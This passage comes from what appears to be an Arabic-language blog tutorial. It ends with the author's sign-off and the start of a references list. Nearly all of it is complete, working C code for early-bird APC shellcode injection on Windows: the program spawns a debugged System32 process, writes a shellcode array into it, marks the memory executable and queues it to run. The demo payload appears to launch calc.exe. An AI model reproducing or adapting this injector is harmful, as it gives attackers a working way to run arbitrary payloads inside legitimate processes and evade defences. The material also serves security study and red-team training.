"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
};

BOOL InjectShellcodeToRemoteProcess(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode, PVOID* ppAddress) {

  SIZE_T sNumberOfBytesWritten = NULL;
  DWORD dwOldProtection = NULL;

  *ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  if (*ppAddress == NULL) {
    printf("\n\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
    return FALSE;
  }
  printf("\n[i] Allocated Memory At : 0x%p \n", *ppAddress);

  if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
    printf("\n[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
    return FALSE;
  }
  printf("[i] Press <Enter> to write the Shellcode ... \n");
  getchar();
  printf("[i] Successfully Written %d Bytes\n", sNumberOfBytesWritten);

  if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
    printf("\n\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
    return FALSE;
  }

  return TRUE;
}

BOOL CreateDebuggedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) {

  CHAR lpPath [MAX_PATH * 2];
  CHAR WnDr [MAX_PATH];

  STARTUPINFO Si = { 0 };
  PROCESS_INFORMATION Pi = { 0 };

  RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
  RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

  Si.cb = sizeof(STARTUPINFO);

  if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
    printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
    return FALSE;
  }

  sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
  printf("\n[i] Running : \"%s\" ... ", lpPath);
  if (!CreateProcessA(NULL, lpPath, NULL, NULL, FALSE, DEBUG_PROCESS, NULL, NULL, &Si, &Pi)) {
    printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
    return FALSE;
  }

  printf("[+] DONE \n");

  *dwProcessId = Pi.dwProcessId;
  *hProcess = Pi.hProcess;
  *hThread = Pi.hThread;

  if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
    return TRUE;

  return FALSE;
}

int main() {

  HANDLE hProcess = NULL, hThread = NULL;
  DWORD dwProcessId = NULL;
  PVOID pAddress = NULL;

  printf("[i] Creating \"%s\" Process as a Debugged Process ... \n", TARGET_PROCESS);

  if (!CreateDebuggedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
    return -1;
  }
  printf("[i] Target Process Created With Pid : %d \n", dwProcessId);
  printf("[+] DONE \n\n");

  printf("[i] Injecting Shellcode to the Target Process ... \n");
  if (!InjectShellcodeToRemoteProcess(hProcess, Payload, sizeof(Payload), &pAddress)) {
    return -1;
  }
  printf("[+] DONE \n\n");

  QueueUserAPC((PTHREAD_START_ROUTINE)pAddress, hThread, NULL);

  printf("[i] Press <Enter> to Run the Shellcode ... \n");
  getchar();

  DebugActiveProcessStop(dwProcessId);

  printf("[+] DONE \n\n");

  CloseHandle(hProcess);
  CloseHandle(hThread);

  printf("[i] Press <Enter> to Quit ... \n");
  getchar();

  return 0;
}

وبكدا . أتمني تكون استفدت حاجه .. ونلتقي فـ مقالة قادمة .. ولو عندك أي تعليق ، استفسار ، أي حاجه .. متترددش وكلمني.
وابقي إدعيلي عشان داخل الجيش الفتره الجاية .. مصصصصر محتاجاني :(

References

خدلك لفة فـ المصادر والمراجع يا عزيزي: